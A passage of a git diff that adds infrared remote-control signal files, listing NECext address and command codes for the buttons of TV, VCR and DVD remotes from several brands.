+address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: GuideDown +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: PRList +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: Spiral +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir new file mode 100644 index 000000000..0ec5212ba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0F 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 10 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir new file mode 100644 index 000000000..844193531 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: CH0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: CH1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: CH2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: CH3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: CH4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: CH5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: CH6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: CH7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: CH8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: CH9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: AUDIOSELECT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0E 00 00 00 +# +name: CH10+ +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0F 00 00 00 +# +name: TVVCR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: PAUSESTILL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1D 00 00 00 +# +name: SPEEDSPLP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: COUNTERMEMORY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: COUNTERRESET +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: AUDIODUBBING +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 50 00 00 00 +# +name: CLOCKCOUNTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 52 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir new file mode 100644 index 000000000..fc6c99d1f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: pc-off +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: fn +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: tv/pc +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: channel+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: channel- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: rew +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: forw +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: rec +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: epg +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 41 00 00 00 +# +name: help +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 50 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 51 00 00 00 +# +name: menu +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 52 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 55 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: ok +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: my-tv +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6B 00 00 00 +# +name: my-music +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6C 00 00 00 +# +name: my-pictures +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6D 00 00 00 +# +name: my-videos +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6E 00 00 00 +# +name: next +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 70 00 00 00 +# +name: prev +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir new file mode 100644 index 000000000..0d1298588 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: tv-0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: tv-1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: tv-2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: tv-3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: tv-4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: tv-5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: tv-6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: tv-7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: tv-8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: tv-9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: tv-double +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: tv-p2p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: tv-off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: tv-mute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: tv-vol-up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: tv-vol-down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: tv-p-up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: tv-p-down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: tv-1-2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: tv-pause +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: tv-prev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: tv-next +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: tv-switch +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: tv-stop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: tv-play +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir new file mode 100644 index 000000000..1d88e094c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: p_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: p_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: i-ii +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir new file mode 100644 index 000000000..5f9bfed6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: I-II +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: p-p +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir new file mode 100644 index 000000000..376164190 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: p-p +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: digits +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: prog-dn +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir b/assets/resources/infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir new file mode 100644 index 000000000..3b9636848 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 09 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 10 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 11 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 12 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 13 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 14 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 15 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 19 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1B 00 00 00 +# +name: f.bwd +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1C 00 00 00 +# +name: f.fwd +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1E 00 00 00 +# +name: repeat_a-b +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 1F 00 00 00 +# +name: repeat_all +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 40 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 41 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 42 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 44 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 46 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 47 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir new file mode 100644 index 000000000..33ed4c5fa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: TXT- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: b6_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: b7_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: b8_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: b10_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 